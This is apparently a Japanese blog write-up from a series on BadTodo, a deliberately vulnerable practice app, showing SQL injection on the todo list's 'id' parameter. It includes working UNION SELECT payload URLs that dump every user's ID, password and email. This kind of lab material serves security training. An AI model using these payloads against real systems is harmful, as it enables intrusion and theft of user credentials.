前回:やられアプリ BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得 - demandosigno
これまで、主にTodoリスト一覧画面のkey
パラメータに対してSQLインジェクションを試して来ました。
/todolist.php?rnd=64fe3eba0ee01&key=%27+UNION+SELECT+NULL%2C+NULL%2C+id%2C+userid%2C+pwd%2C+email%2C+icon%2C+super%2C+NULL%2C+NULL+FROM+todo.users+%23
もう一つ、「ユーザID」をクリックした際に呼び出されるリクエストのid
パラメータにもSQLインジェクションがあります。
これは4.3 XSS ID毎のTodo一覧画面にてid
パラメータのXSSを試した際にSQLのエラーが発生したことから推測できます。
またZAPでも検出されています。
今回もまずシングルクォーテーションを1つid='
と3つid='''
入力してそれぞれエラーを出してみます。(2つでは文字列リテラルが閉じられ正しいSQL文となるのでエラーは出ません)
これによりエラー位置とSQL文が分かります。
SELECT todos.id, owner, users.userid, todo, c_date, due_date, done, org_filename, real_filename, public FROM todos INNER JOIN users ON users.id=todos.owner AND (todos.owner=''' OR ?) AND (todos.owner = ? OR todos.public > 0 OR ? > 0)
あとはkey
パラメータの際と同じようにSQL文を微調整してid
パラメータとしてアドレスバーに入力します。
https://todo.example.jp/todolist.php?id=0) UNION SELECT NULL, NULL, id, userid, pwd, email, icon, super, NULL, NULL FROM todo.users%23
(%23は#をエンコードしたものでそれ以降のクエリをコメントアウトするために必要)
アドレスバーに貼り付けてEnterキーを押せば概ねブラウザが%エンコードをかけてくれます↓
https://todo.example.jp/todolist.php?id=0)%20UNION%20SELECT%20NULL,%20NULL,%20id,%20userid,%20pwd,%20email,%20icon,%20super,%20NULL,%20NULL%20FROM%20todo.users%23
結果、Todoリスト登録者全員のIDとパスワードが表示されます。